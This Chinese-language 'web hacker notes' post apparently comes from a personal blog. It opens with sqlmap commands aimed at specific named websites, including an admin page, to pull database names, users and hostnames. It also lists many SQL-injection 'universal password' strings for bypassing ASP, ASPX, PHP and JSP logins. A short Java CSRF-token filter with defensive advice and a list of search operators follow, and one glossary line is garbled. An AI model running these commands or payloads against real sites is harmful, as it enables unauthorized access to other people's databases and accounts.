web hacker筆記

風靈使發表於2018-10-26
sqlmap.py -u "http://www.now.cn/ipm-admin/cusManager.php?IDIPM=55911" --threads 10 --level 3 -p myparams --dbms "MySQL" --current-db --current-user --hostname

sqlmap -u "http://www.1think.com.cn/Search.php?SearchKeyWords=HAHA" --threads 15 --level 3  --dbms "Microsoft SQL Server" --os "Windows" --current-db --current-user --hostname

BSoD,Blue Screen of Death,即藍屏當機。
微軟作業系統的經典當機提示螢幕。通常是由於工作在Ring0級的核心程式出錯導致的,比如核心程式訪問了不可訪問的記憶體會立即導致BSoD。


Proof of Conc Proof of Conceptept簡稱PoC,
中文翻譯為概念證明,是證實發布的漏洞真實性的測試程式碼,一般可以理解為和漏洞利用工具差不多的意思。


filter 中驗證請求中的 token

HttpServletRequest req = (HttpServletRequest)request;
 HttpSession s = req.getSession();
 // 從 session 中得到 csrftoken 屬性
 String sToken = (String)s.getAttribute(“csrftoken”);
 if(sToken == null){
    // 產生新的 token 放入 session 中
    sToken = generateToken();
    s.setAttribute(“csrftoken”,sToken);
    chain.doFilter(request, response);
 } else{
    // 從 HTTP 頭中取得 csrftoken
    String xhrToken = req.getHeader(“csrftoken”);
    // 從請求引數中取得 csrftoken
    String pToken = req.getParameter(“csrftoken”);
    if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){
        chain.doFilter(request, response);
    }else if(sToken != null && pToken != null && sToken.equals(pToken)){
        chain.doFilter(request, response);
    }else{
request.getRequestDispatcher(“error.jsp”).forward(request,response);
    }
 } 

跨站請求偽造CSRF漏洞防禦
CSRF漏洞防禦主要可以從三個層面進行,即服務端的防禦、使用者端的防禦和安全裝置的防禦。
1、 服務端的防禦
1.1 驗證HTTP Referer欄位
1.2 在請求地址中新增token並驗證
1.3 在HTTP頭中自定義屬性並驗證

2、其他防禦方法

  1. CSRF攻擊是有條件的,當使用者訪問惡意連結時,認證的cookie仍然有效,所以當使用者關閉頁面時要及時清除認證cookie,對支援TAB模式(新標籤開啟網頁)的瀏覽器尤為重要。
  2. 儘量少用或不要用request()類變數,獲取引數指定request.form()還是request. querystring (),這樣有利於阻止CSRF漏洞攻擊,此方法只不能完全防禦CSRF攻擊,只是一定程度上增加了攻擊的難度。

asp aspx萬能密碼

   1: "or "a"="a
   2: ')or('a'='a
   3:or 1=1--
   4:'or 1=1--
   5:a'or' 1=1--
   6: "or 1=1--
   7:'or'a'='a
   8: "or"="a'='a
   9:'or''='
   10:'or'='or'
   11: 1 or '1'='1'=1
   12: 1 or '1'='1' or 1=1
   13: 'OR 1=1%00
   14: "or 1=1%00
   15: 'xor
   16: 新型萬能登陸密碼
   使用者名稱 `' UNION Select 1,1,1 FROM admin Where ''=' (替換表名admin)`
   密碼 1
   
   Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
   Password=1

   17.`admin' or 'a'='a` 密碼隨便

PHP萬能密碼

   'or'='or'
  
   'or 1=1/*  字元型 GPC是否開都可以使用

   User: something
   Pass: ' OR '1'='1

jsp 萬能密碼

   1' or '1'='1

   admin' OR 1=1/*
 
   使用者名稱:admin    系統存在這個使用者的時候 才用得上
   密碼:1' or '1'='1


搜尋命令

  • intitle: 限制搜尋的詞語是網頁標題中包含的關鍵詞 intitle:keyword
  • inurl: 限制搜尋的網頁的地址 inurl:keyword
  • filetype: 限制所搜尋的檔案一個特定的格式 filetype:extension
  • site: 限制所進行的搜尋在指定的域名或網站內 site:domain
  • intext: 限制搜尋的詞語是網頁內文包含的關鍵詞 intext:keyword

相關文章